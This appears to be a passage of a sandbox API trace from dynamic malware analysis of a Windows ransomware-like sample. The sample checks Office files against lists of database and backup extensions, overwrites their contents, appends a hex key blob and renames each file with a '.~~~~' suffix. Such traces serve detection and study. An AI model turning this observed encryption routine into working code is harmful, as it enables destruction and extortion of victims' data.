	[0142.661] lstrlenW (lpString=".MDT") returned 4
	[0142.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".MDT") returned 0x0
	[0142.661] lstrlenW (lpString=".SQB") returned 4
	[0142.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".SQB") returned 0x0
	[0142.661] lstrlenW (lpString=".vhd") returned 4
	[0142.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".vhd") returned 0x0
	[0142.662] lstrlenW (lpString=".bac") returned 4
	[0142.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".bac") returned 0x0
	[0142.662] lstrlenW (lpString=".mdf") returned 4
	[0142.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".mdf") returned 0x0
	[0142.662] lstrlenW (lpString=".BAK") returned 4
	[0142.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".BAK") returned 0x0
	[0142.662] lstrlenW (lpString=".BAC") returned 4
	[0142.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".BAC") returned 0x0
	[0142.662] lstrlenW (lpString=".dbs") returned 4
	[0142.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".dbs") returned 0x0
	[0142.662] lstrlenW (lpString=".vhdx") returned 5
	[0142.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.662] lstrlenW (lpString=".NDF") returned 4
	[0142.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".NDF") returned 0x0
	[0142.662] lstrlenW (lpString=".dat") returned 4
	[0142.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".dat") returned 0x0
	[0142.662] lstrlenW (lpString=".DBS") returned 4
	[0142.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".DBS") returned 0x0
	[0142.662] lstrlenW (lpString=".CKP") returned 4
	[0142.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".CKP") returned 0x0
	[0142.662] lstrlenW (lpString=".edb") returned 4
	[0142.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".edb") returned 0x0
	[0142.662] lstrlenW (lpString=".PST") returned 4
	[0142.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".PST") returned 0x0
	[0142.662] lstrlenW (lpString=".dbf") returned 4
	[0142.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".dbf") returned 0x0
	[0142.663] lstrlenW (lpString=".SQL") returned 4
	[0142.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".SQL") returned 0x0
	[0142.663] lstrlenW (lpString=".pst") returned 4
	[0142.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".pst") returned 0x0
	[0142.663] lstrlenW (lpString=".dbv") returned 4
	[0142.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".dbv") returned 0x0
	[0142.663] lstrlenW (lpString=".SDF") returned 4
	[0142.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".SDF") returned 0x0
	[0142.663] lstrlenW (lpString=".dtxs") returned 5
	[0142.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.663] lstrlenW (lpString=".db3") returned 4
	[0142.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".db3") returned 0x0
	[0142.663] lstrlenW (lpString=".OST") returned 4
	[0142.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".OST") returned 0x0
	[0142.663] lstrlenW (lpString=".dbx") returned 4
	[0142.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".dbx") returned 0x0
	[0142.663] lstrlenW (lpString=".DB3") returned 4
	[0142.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".DB3") returned 0x0
	[0142.663] lstrlenW (lpString=".DAT") returned 4
	[0142.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".DAT") returned 0x0
	[0142.663] lstrlenW (lpString=".VHDX") returned 5
	[0142.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.663] lstrlenW (lpString=".ndf") returned 4
	[0142.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".ndf") returned 0x0
	[0142.663] lstrlenW (lpString=".DB") returned 3
	[0142.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".DB") returned 0x0
	[0142.663] lstrlenW (lpString=".sql") returned 4
	[0142.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".sql") returned 0x0
	[0142.664] lstrlenW (lpString=".MYD") returned 4
	[0142.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".MYD") returned 0x0
	[0142.664] lstrlenW (lpString=".DBT") returned 4
	[0142.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".DBT") returned 0x0
	[0142.664] lstrlenW (lpString=".ACCDB") returned 6
	[0142.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.664] lstrlenW (lpString=".fdb") returned 4
	[0142.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".fdb") returned 0x0
	[0142.664] lstrlenW (lpString=".bak") returned 4
	[0142.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".bak") returned 0x0
	[0142.664] lstrlenW (lpString=".myd") returned 4
	[0142.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".myd") returned 0x0
	[0142.664] lstrlenW (lpString=".DTXS") returned 5
	[0142.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.664] lstrlenW (lpString=".ckp") returned 4
	[0142.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".ckp") returned 0x0
	[0142.664] lstrlenW (lpString=".dbt") returned 4
	[0142.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".dbt") returned 0x0
	[0142.664] lstrlenW (lpString=".db") returned 3
	[0142.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".db") returned 0x0
	[0142.664] lstrlenW (lpString=".TXT") returned 4
	[0142.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".TXT") returned 0x0
	[0142.664] lstrlenW (lpString=".MDF") returned 4
	[0142.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".MDF") returned 0x0
	[0142.664] lstrlenW (lpString=".bdb") returned 4
	[0142.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".bdb") returned 0x0
	[0142.665] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.665] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0142.665] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.665] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0142.666] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.666] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.666] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0142.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0142.666] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26265631043) returned 1
	[0142.666] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbe705950, dwHighDateTime=0x1d60e1e)) 
	[0142.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0142.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0142.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0142.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa900
	[0142.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa900 | out: hHeap=0x300000) returned 1
	[0142.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a9e88
	[0142.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0142.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9e88 | out: hHeap=0x300000) returned 1
	[0142.667] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0142.667] GetLastError () returned 0x0
	[0142.667] GetLastError () returned 0x0
	[0142.668] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0142.668] GetLastError () returned 0x0
	[0142.668] GetLastError () returned 0x0
	[0142.668] ReadFile (in: hFile=0x114, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x1f8fec0*=0x1444, lpOverlapped=0x0) returned 1
	[0142.671] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffebbc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.671] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x1444, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x1444, lpOverlapped=0x0) returned 1
	[0142.672] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0142.672] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.672] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.672] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.672] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.672] CloseHandle (hObject=0x114) returned 1
	[0142.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a9e88
	[0142.672] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir29f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir29f.gif.~~~~")) returned 1
	[0142.675] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9e88 | out: hHeap=0x300000) returned 1
	[0142.675] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0142.675] GetLastError () returned 0x0
	[0142.675] RtlWakeConditionVariable () returned 0x0
	[0142.675] GetCurrentThreadId () returned 0xaf0
	[0142.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".scr") returned 0x0
	[0142.675] lstrlenW (lpString=".cmd") returned 4
	[0142.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".cmd") returned 0x0
	[0142.675] lstrlenW (lpString=".dll") returned 4
	[0142.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".dll") returned 0x0
	[0142.675] lstrlenW (lpString=".bat") returned 4
	[0142.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".bat") returned 0x0
	[0142.675] lstrlenW (lpString=".cpl") returned 4
	[0142.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".cpl") returned 0x0
	[0142.675] lstrlenW (lpString=".sys") returned 4
	[0142.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".sys") returned 0x0
	[0142.676] lstrlenW (lpString=".msc") returned 4
	[0142.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".msc") returned 0x0
	[0142.676] lstrlenW (lpString=".com") returned 4
	[0142.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".com") returned 0x0
	[0142.676] lstrlenW (lpString=".lnk") returned 4
	[0142.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".lnk") returned 0x0
	[0142.676] lstrlenW (lpString=".msp") returned 4
	[0142.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".msp") returned 0x0
	[0142.676] lstrlenW (lpString=".pif") returned 4
	[0142.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".pif") returned 0x0
	[0142.676] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.676] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir2b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0142.679] lstrlenW (lpString=".sqb") returned 4
	[0142.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".sqb") returned 0x0
	[0142.679] lstrlenW (lpString=".ost") returned 4
	[0142.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".ost") returned 0x0
	[0142.679] lstrlenW (lpString=".txt") returned 4
	[0142.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".txt") returned 0x0
	[0142.679] lstrlenW (lpString=".mdt") returned 4
	[0142.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".mdt") returned 0x0
	[0142.679] lstrlenW (lpString=".BDB") returned 4
	[0142.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".BDB") returned 0x0
	[0142.679] lstrlenW (lpString=".eql") returned 4
	[0142.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".eql") returned 0x0
	[0142.679] lstrlenW (lpString=".DBF") returned 4
	[0142.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".DBF") returned 0x0
	[0142.679] lstrlenW (lpString=".EQL") returned 4
	[0142.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".EQL") returned 0x0
	[0142.679] lstrlenW (lpString=".FDB") returned 4
	[0142.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".FDB") returned 0x0
	[0142.680] lstrlenW (lpString=".EDB") returned 4
	[0142.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".EDB") returned 0x0
	[0142.680] lstrlenW (lpString=".DACPAC") returned 7
	[0142.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.680] lstrlenW (lpString=".VHD") returned 4
	[0142.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".VHD") returned 0x0
	[0142.680] lstrlenW (lpString=".DBV") returned 4
	[0142.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".DBV") returned 0x0
	[0142.680] lstrlenW (lpString=".dacpac") returned 7
	[0142.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".dacpac") returned 0x0
	[0142.680] lstrlenW (lpString=".sdf") returned 4
	[0142.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".sdf") returned 0x0
	[0142.680] lstrlenW (lpString=".accdb") returned 6
	[0142.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".accdb") returned 0x0
	[0142.680] lstrlenW (lpString=".DBX") returned 4
	[0142.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".DBX") returned 0x0
	[0142.680] lstrlenW (lpString=".MDT") returned 4
	[0142.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".MDT") returned 0x0
	[0142.680] lstrlenW (lpString=".SQB") returned 4
	[0142.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".SQB") returned 0x0
	[0142.680] lstrlenW (lpString=".vhd") returned 4
	[0142.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".vhd") returned 0x0
	[0142.680] lstrlenW (lpString=".bac") returned 4
	[0142.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".bac") returned 0x0
	[0142.680] lstrlenW (lpString=".mdf") returned 4
	[0142.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".mdf") returned 0x0
	[0142.680] lstrlenW (lpString=".BAK") returned 4
	[0142.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".BAK") returned 0x0
	[0142.681] lstrlenW (lpString=".BAC") returned 4
	[0142.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".BAC") returned 0x0
	[0142.681] lstrlenW (lpString=".dbs") returned 4
	[0142.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".dbs") returned 0x0
	[0142.681] lstrlenW (lpString=".vhdx") returned 5
	[0142.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".vhdx") returned 0x0
	[0142.681] lstrlenW (lpString=".NDF") returned 4
	[0142.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".NDF") returned 0x0
	[0142.681] lstrlenW (lpString=".dat") returned 4
	[0142.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".dat") returned 0x0
	[0142.681] lstrlenW (lpString=".DBS") returned 4
	[0142.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".DBS") returned 0x0
	[0142.681] lstrlenW (lpString=".CKP") returned 4
	[0142.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".CKP") returned 0x0
	[0142.681] lstrlenW (lpString=".edb") returned 4
	[0142.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".edb") returned 0x0
	[0142.681] lstrlenW (lpString=".PST") returned 4
	[0142.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".PST") returned 0x0
	[0142.681] lstrlenW (lpString=".dbf") returned 4
	[0142.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".dbf") returned 0x0
	[0142.681] lstrlenW (lpString=".SQL") returned 4
	[0142.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".SQL") returned 0x0
	[0142.681] lstrlenW (lpString=".pst") returned 4
	[0142.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".pst") returned 0x0
	[0142.681] lstrlenW (lpString=".dbv") returned 4
	[0142.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", lpSrch=".dbv") returned 0x0
